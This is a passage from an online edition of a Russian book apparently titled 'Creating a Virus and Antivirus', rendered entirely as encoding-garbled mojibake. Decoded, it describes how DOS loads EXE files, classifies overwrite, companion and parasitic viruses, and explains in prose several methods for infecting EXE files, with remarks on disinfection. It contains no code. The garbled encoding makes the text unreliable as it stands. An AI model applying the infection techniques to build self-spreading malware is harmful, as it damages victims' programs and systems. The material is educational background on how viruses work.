Π§ΠΈΡ‚Π°ΠΉΡ‚Π΅ ΠΊΠ½ΠΈΠ³ΠΈ ΠΎΠ½Π»Π°ΠΉΠ½ Π½Π° Bookidrom.ru! БСсплатныС ΠΊΠ½ΠΈΠ³ΠΈ Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΊΠ»ΠΈΠΊΠ΅

Π§ΠΈΡ‚Π°Ρ‚ΡŒ ΠΎΠ½Π»Π°ΠΉΠ½ Β«Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ вирус ΠΈ антивирус». Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° 3

Автор Π˜Π³ΠΎΡ€ΡŒ Π“ΡƒΠ»ΡŒΠ΅Π²

12. Π˜Π½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΡƒΡŽΡ‚ся рСгистры, выполняСтся ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°:

a) ES=DS=PSP;

b) ΠΠ₯=Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠ² Π΄Ρ€Π°ΠΉΠ²Π΅Ρ€ΠΎΠ², ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строкС;

c) SS=START_SEG+ReloSS, SP=ExeSP;

d) CS=START_SEG+ReloCS, IP=ExeIP.

ΠšΠ»Π°ΡΡΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡ EXE-вирусов

EXE-вирусы условно ΠΌΠΎΠΆΠ½ΠΎ Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚ΡŒ Π½Π° Π³Ρ€ΡƒΠΏΠΏΡ‹, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π² качСствС ΠΏΡ€ΠΈΠ·Π½Π°ΠΊΠ° для дСлСния особСнности Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠ°.

Вирусы, Π·Π°ΠΌΠ΅Ρ‰Π°ΡŽΡ‰ΠΈΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹ΠΉ ΠΊΠΎΠ΄ (Overwrite)

Π’Π°ΠΊΠΈΠ΅ вирусы ΡƒΠΆΠ΅ стали Ρ€Π°Ρ€ΠΈΡ‚Π΅Ρ‚ΠΎΠΌ. Π“Π»Π°Π²Π½Ρ‹ΠΉ ΠΈΡ… нСдостаток – слишком грубая Ρ€Π°Π±ΠΎΡ‚Π°. Π˜Π½Ρ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ Π½Π΅ ΠΈΡΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ вирус записываСтся ΠΏΠΎΠ²Π΅Ρ€Ρ… ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°, Π½Π΅ сохраняя Π΅Π³ΠΎ. ΠŸΡ€ΠΈ запускС вирус ΠΈΡ‰Π΅Ρ‚ ΠΎΡ‡Π΅Ρ€Π΅Π΄Π½ΡƒΡŽ ΠΆΠ΅Ρ€Ρ‚Π²Ρƒ (ΠΈΠ»ΠΈ ΠΆΠ΅Ρ€Ρ‚Π²Ρ‹), ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π½Π°ΠΉΠ΄Π΅Π½Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» для рСдактирования ΠΈ записываСт своС Ρ‚Π΅Π»ΠΎ Π² Π½Π°Ρ‡Π°Π»ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹, Π½Π΅ сохраняя ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΊΠΎΠ΄. Π˜Π½Ρ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ этими вирусами ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ Π»Π΅Ρ‡Π΅Π½ΠΈΡŽ Π½Π΅ ΠΏΠΎΠ΄Π»Π΅ΠΆΠ°Ρ‚.

Вирусы-спутники (Companion)

Π­Ρ‚ΠΈ вирусы ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ»ΠΈ своС Π½Π°Π·Π²Π°Π½ΠΈΠ΅ ΠΈΠ·-Π·Π° Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠ° размноТСния: ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ ΠΈΠ½Ρ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΌΡƒ Ρ„Π°ΠΉΠ»Ρƒ создаСтся Ρ„Π°ΠΉΠ»-спутник. Рассмотрим Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ Π΄Π²Π° Ρ‚ΠΈΠΏΠ° вирусов этой Π³Ρ€ΡƒΠΏΠΏΡ‹:

Вирусы ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° размноТаСтся ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ. Для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ½Ρ„ΠΈΡ†ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠ³ΠΎ EXE-Ρ„Π°ΠΉΠ»Π° Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ создаСтся Ρ„Π°ΠΉΠ» с вирусным ΠΊΠΎΠ΄ΠΎΠΌ, ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠΉ Ρ‚Π°ΠΊΠΎΠ΅ ΠΆΠ΅ имя, Ρ‡Ρ‚ΠΎ ΠΈ EXE-Ρ„Π°ΠΉΠ», Π½ΠΎ с Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ΠΌ COM. Вирус активируСтся, Ссли ΠΏΡ€ΠΈ запускС ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строкС ΡƒΠΊΠ°Π·Π°Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ имя исполняСмого Ρ„Π°ΠΉΠ»Π°. Π”Π΅Π»ΠΎ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ, Ссли Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ Ρ„Π°ΠΉΠ»Π°, DOS сначала ΠΈΡ‰Π΅Ρ‚ Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ Ρ„Π°ΠΉΠ» с Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ ΠΈ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ΠΌ COM. Если COM-Ρ„Π°ΠΉΠ» с Ρ‚Π°ΠΊΠΈΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½, вСдСтся поиск ΠΎΠ΄Π½ΠΎΠΈΠΌΠ΅Π½Π½ΠΎΠ³ΠΎ EXE-Ρ„Π°ΠΉΠ»Π°. Если Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½ ΠΈ EXE-Ρ„Π°ΠΉΠ», DOS ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠ΅Ρ‚ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚ΡŒ BAT (ΠΏΠ°ΠΊΠ΅Ρ‚Π½Ρ‹ΠΉ) Ρ„Π°ΠΉΠ». Π’ случаС отсутствия Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ исполняСмого Ρ„Π°ΠΉΠ»Π° с ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ поиск вСдСтся Π²ΠΎ всСх ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π°Ρ…, доступных ΠΏΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ PATH. Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Ρ…ΠΎΡ‡Π΅Ρ‚ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ ΠΈ Π½Π°Π±ΠΈΡ€Π°Π΅Ρ‚ Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строкС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π΅Π΅ имя (Π² основном Ρ‚Π°ΠΊ всС ΠΈ Π΄Π΅Π»Π°ΡŽΡ‚), ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ вирус, ΠΊΠΎΠ΄ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ находится Π² COM-Ρ„Π°ΠΉΠ»Π΅. Он создаСт COM-Ρ„Π°ΠΉΠ» Π΅Ρ‰Π΅ ΠΊ ΠΎΠ΄Π½ΠΎΠΌΡƒ ΠΈΠ»ΠΈ нСскольким EXE-Ρ„Π°ΠΉΠ»Π°ΠΌ (распространяСтся), Π° Π·Π°Ρ‚Π΅ΠΌ исполняСт EXE-Ρ„Π°ΠΉΠ» с ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌ Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строкС ΠΈΠΌΠ΅Π½Π΅ΠΌ. ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΆΠ΅ Π΄ΡƒΠΌΠ°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ запущСнная EXE-ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°. Вирус-спутник ΠΎΠ±Π΅Π·Π²Ρ€Π΅Π΄ΠΈΡ‚ΡŒ довольно просто – достаточно ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ COM-Ρ„Π°ΠΉΠ».

Вирусы Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° Π΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‚ Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΠ½ΠΊΠΎ. Имя ΠΈΠ½Ρ„ΠΈΡ†ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠ³ΠΎ EXE-Ρ„Π°ΠΉΠ»Π° остаСтся ΠΏΡ€Π΅ΠΆΠ½ΠΈΠΌ, Π° Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ замСняСтся ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΠΌ, ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΌ ΠΎΡ‚ исполняСмого (COM, EXE ΠΈ BAT). НапримСр, Ρ„Π°ΠΉΠ» ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ DAT (Ρ„Π°ΠΉΠ» Π΄Π°Π½Π½Ρ‹Ρ…) ΠΈΠ»ΠΈ OVL (ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹ΠΉ ΠΎΠ²Π΅Ρ€Π»Π΅ΠΉ). Π—Π°Ρ‚Π΅ΠΌ Π½Π° мСсто EXE-Ρ„Π°ΠΉΠ»Π° копируСтся вирусный ΠΊΠΎΠ΄. ΠŸΡ€ΠΈ запускС Ρ‚Π°ΠΊΠΎΠΉ ΠΈΠ½Ρ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΉ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ вирусный ΠΊΠΎΠ΄, находящийся Π² EXE-Ρ„Π°ΠΉΠ»Π΅. Π˜Π½Ρ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π² Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ нСсколько EXE-Ρ„Π°ΠΉΠ»ΠΎΠ² Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, вирус Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠΌΡƒ Ρ„Π°ΠΉΠ»Ρƒ исполняСмоС Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ (Π½ΠΎ Π½Π΅ EXE, Π° COM, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ EXE-Ρ„Π°ΠΉΠ» с Ρ‚Π°ΠΊΠΈΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ занят вирусом), послС Ρ‡Π΅Π³ΠΎ исполняСт Π΅Π³ΠΎ. Когда Ρ€Π°Π±ΠΎΡ‚Π° ΠΈΠ½Ρ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΉ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ Π·Π°ΠΊΠΎΠ½Ρ‡Π΅Π½Π°, Π΅Π΅ запускаСмому Ρ„Π°ΠΉΠ»Ρƒ возвращаСтся Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ нСисполняСмого. Π›Π΅Ρ‡Π΅Π½ΠΈΠ΅ Ρ„Π°ΠΉΠ»ΠΎΠ², Π·Π°Ρ€Π°ΠΆΠ΅Π½Π½Ρ‹Ρ… вирусом этого Ρ‚ΠΈΠΏΠ°, ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°Ρ‚Ρ€ΡƒΠ΄Π½Π΅Π½ΠΎ, Ссли вирус-спутник ΡˆΠΈΡ„Ρ€ΡƒΠ΅Ρ‚ Ρ‡Π°ΡΡ‚ΡŒ ΠΈΠ»ΠΈ всС Ρ‚Π΅Π»ΠΎ ΠΈΠ½Ρ„ΠΈΡ†ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π°, Π° ΠΏΠ΅Ρ€Π΅Π΄ исполнСниСм Π΅Π³ΠΎ Ρ€Π°ΡΡˆΠΈΡ„Ρ€ΠΎΠ²Ρ‹Π²Π°Π΅Ρ‚.

Вирусы, Π²Π½Π΅Π΄Ρ€ΡΡŽΡ‰ΠΈΠ΅ΡΡ Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ (Parasitic)

Вирусы этого Π²ΠΈΠ΄Π° самыС Π½Π΅Π·Π°ΠΌΠ΅Ρ‚Π½Ρ‹Π΅: ΠΈΡ… ΠΊΠΎΠ΄ записываСтся Π² ΠΈΠ½Ρ„ΠΈΡ†ΠΈΡ€ΡƒΠ΅ΠΌΡƒΡŽ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ, Ρ‡Ρ‚ΠΎ сущСствСнно затрудняСт Π»Π΅Ρ‡Π΅Π½ΠΈΠ΅ Π·Π°Ρ€Π°ΠΆΠ΅Π½Π½Ρ‹Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ². Рассмотрим ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ внСдрСния EXE-вирусов Π² EXE-Ρ„Π°ΠΉΠ».

Бпособы зараТСния EXE-Ρ„Π°ΠΉΠ»ΠΎΠ²

Π‘Π°ΠΌΡ‹ΠΉ распространСнный способ зараТСния EXE-Ρ„Π°ΠΉΠ»ΠΎΠ² Ρ‚Π°ΠΊΠΎΠΉ: Π² ΠΊΠΎΠ½Π΅Ρ† Ρ„Π°ΠΉΠ»Π° дописываСтся Ρ‚Π΅Π»ΠΎ вируса, Π° Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ коррСктируСтся (с сохранСниСм ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ) Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈ запускС ΠΈΠ½Ρ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π° ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Π» вирус. ΠŸΠΎΡ…ΠΎΠΆΠ΅ Π½Π° Π·Π°Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ COM-Ρ„Π°ΠΉΠ»ΠΎΠ², Π½ΠΎ вмСсто задания Π² ΠΊΠΎΠ΄Π΅ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π° Π² Π½Π°Ρ‡Π°Π»ΠΎ вируса коррСктируСтся собствСнно адрСс Ρ‚ΠΎΡ‡ΠΊΠΈ запуска ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹. ПослС окончания Ρ€Π°Π±ΠΎΡ‚Ρ‹ вирус Π±Π΅Ρ€Π΅Ρ‚ ΠΈΠ· сохранСнного Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ адрСс запуска ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹, прибавляСт ΠΊ Π΅Π³ΠΎ сСгмСнтной ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ рСгистра DS ΠΈΠ»ΠΈ ES (ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠ΅ ΠΏΡ€ΠΈ стартС вируса) ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Π½Π° ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ адрСс.

Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ способ – Π²Π½Π΅Π΄Ρ€Π΅Π½ΠΈΠ΅ вируса Π² Π½Π°Ρ‡Π°Π»ΠΎ Ρ„Π°ΠΉΠ»Π° со сдвигом ΠΊΠΎΠ΄Π° ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹. ΠœΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ зараТСния Ρ‚Π°ΠΊΠΎΠΉ: Ρ‚Π΅Π»ΠΎ ΠΈΠ½Ρ„ΠΈΡ†ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠΉ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ считываСтся Π² ΠΏΠ°ΠΌΡΡ‚ΡŒ, Π½Π° Π΅Π΅ мСсто записываСтся вирусный ΠΊΠΎΠ΄, Π° послС Π½Π΅Π³ΠΎ – ΠΊΠΎΠ΄ ΠΈΠ½Ρ„ΠΈΡ†ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠΉ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΊΠΎΠ΄ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ ΠΊΠ°ΠΊ Π±Ρ‹ «сдвигаСтся» Π² Ρ„Π°ΠΉΠ»Π΅ Π½Π° Π΄Π»ΠΈΠ½Ρƒ ΠΊΠΎΠ΄Π° вируса. ΠžΡ‚ΡΡŽΠ΄Π° ΠΈ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ способа – «способ сдвига». ΠŸΡ€ΠΈ запускС ΠΈΠ½Ρ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π° вирус Π·Π°Ρ€Π°ΠΆΠ°Π΅Ρ‚ Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ нСсколько Ρ„Π°ΠΉΠ»ΠΎΠ². ПослС этого ΠΎΠ½ считываСт Π² ΠΏΠ°ΠΌΡΡ‚ΡŒ ΠΊΠΎΠ΄ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹, записываСт Π΅Π³ΠΎ Π² ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ созданный Π½Π° дискС Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» с Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ΠΌ исполняСмого Ρ„Π°ΠΉΠ»Π° (COM ΠΈΠ»ΠΈ EXE), ΠΈ Π·Π°Ρ‚Π΅ΠΌ исполняСт этот Ρ„Π°ΠΉΠ». Когда ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΠ»Π° Ρ€Π°Π±ΠΎΡ‚Ρƒ, Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» удаляСтся. Если ΠΏΡ€ΠΈ создании вируса Π½Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΠ»ΠΎΡΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΏΡ€ΠΈΠ΅ΠΌΠΎΠ² Π·Π°Ρ‰ΠΈΡ‚Ρ‹, Ρ‚ΠΎ Π²Ρ‹Π»Π΅Ρ‡ΠΈΡ‚ΡŒ ΠΈΠ½Ρ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» ΠΎΡ‡Π΅Π½ΡŒ просто – достаточно ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄ вируса Π² Π½Π°Ρ‡Π°Π»Π΅ Ρ„Π°ΠΉΠ»Π°, ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° снова Π±ΡƒΠ΄Π΅Ρ‚ работоспособной. НСдостаток этого ΠΌΠ΅Ρ‚ΠΎΠ΄Π° Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ приходится ΡΡ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒ Π² ΠΏΠ°ΠΌΡΡ‚ΡŒ вСсь ΠΊΠΎΠ΄ ΠΈΠ½Ρ„ΠΈΡ†ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠΉ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ (Π° вСдь Π±Ρ‹Π²Π°ΡŽΡ‚ экзСмпляры Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ большС 1ΠœΠ±Π°ΠΉΡ‚).

Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ способ зараТСния Ρ„Π°ΠΉΠ»ΠΎΠ² – ΠΌΠ΅Ρ‚ΠΎΠ΄ пСрСноса – ΠΏΠΎ всСй видимости, являСтся самым ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½Ρ‹ΠΌ ΠΈΠ· всСх пСрСчислСнных. Вирус размноТаСтся ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ: ΠΏΡ€ΠΈ запускС ΠΈΠ½Ρ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΉ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ Ρ‚Π΅Π»ΠΎ вируса ΠΈΠ· Π½Π΅Π΅ считываСтся Π² ΠΏΠ°ΠΌΡΡ‚ΡŒ. Π—Π°Ρ‚Π΅ΠΌ вСдСтся поиск Π½Π΅ΠΈΠ½Ρ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΉ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹. Π’ ΠΏΠ°ΠΌΡΡ‚ΡŒ считываСтся Π΅Π΅ Π½Π°Ρ‡Π°Π»ΠΎ, ΠΏΠΎ Π΄Π»ΠΈΠ½Π΅ Ρ€Π°Π²Π½ΠΎΠ΅ Ρ‚Π΅Π»Ρƒ вируса. На это мСсто записываСтся Ρ‚Π΅Π»ΠΎ вируса. Начало ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ ΠΈΠ· памяти дописываСтся Π² ΠΊΠΎΠ½Π΅Ρ† Ρ„Π°ΠΉΠ»Π°. ΠžΡ‚ΡΡŽΠ΄Π° Π½Π°Π·Π²Π°Π½ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° – Β«ΠΌΠ΅Ρ‚ΠΎΠ΄ пСрСноса». ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ вирус ΠΈΠ½Ρ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π» ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ нСсколько Ρ„Π°ΠΉΠ»ΠΎΠ², ΠΎΠ½ приступаСт ΠΊ исполнСнию ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹, ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ запустился. Для этого ΠΎΠ½ считываСт Π½Π°Ρ‡Π°Π»ΠΎ ΠΈΠ½Ρ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΉ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹, сохранСнноС Π² ΠΊΠΎΠ½Ρ†Π΅ Ρ„Π°ΠΉΠ»Π°, ΠΈ записываСт Π΅Π³ΠΎ Π² Π½Π°Ρ‡Π°Π»ΠΎ Ρ„Π°ΠΉΠ»Π°, восстанавливая Ρ€Π°Π±ΠΎΡ‚ΠΎΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹. Π—Π°Ρ‚Π΅ΠΌ вирус удаляСт ΠΊΠΎΠ΄ Π½Π°Ρ‡Π°Π»Π° ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ ΠΈΠ· ΠΊΠΎΠ½Ρ†Π° Ρ„Π°ΠΉΠ»Π°, восстанавливая ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½ΡƒΡŽ Π΄Π»ΠΈΠ½Ρƒ Ρ„Π°ΠΉΠ»Π°, ΠΈ исполняСт ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ. ПослС Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ вирус вновь записываСт свой ΠΊΠΎΠ΄ Π² Π½Π°Ρ‡Π°Π»ΠΎ Ρ„Π°ΠΉΠ»Π°, Π° ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠ΅ Π½Π°Ρ‡Π°Π»ΠΎ 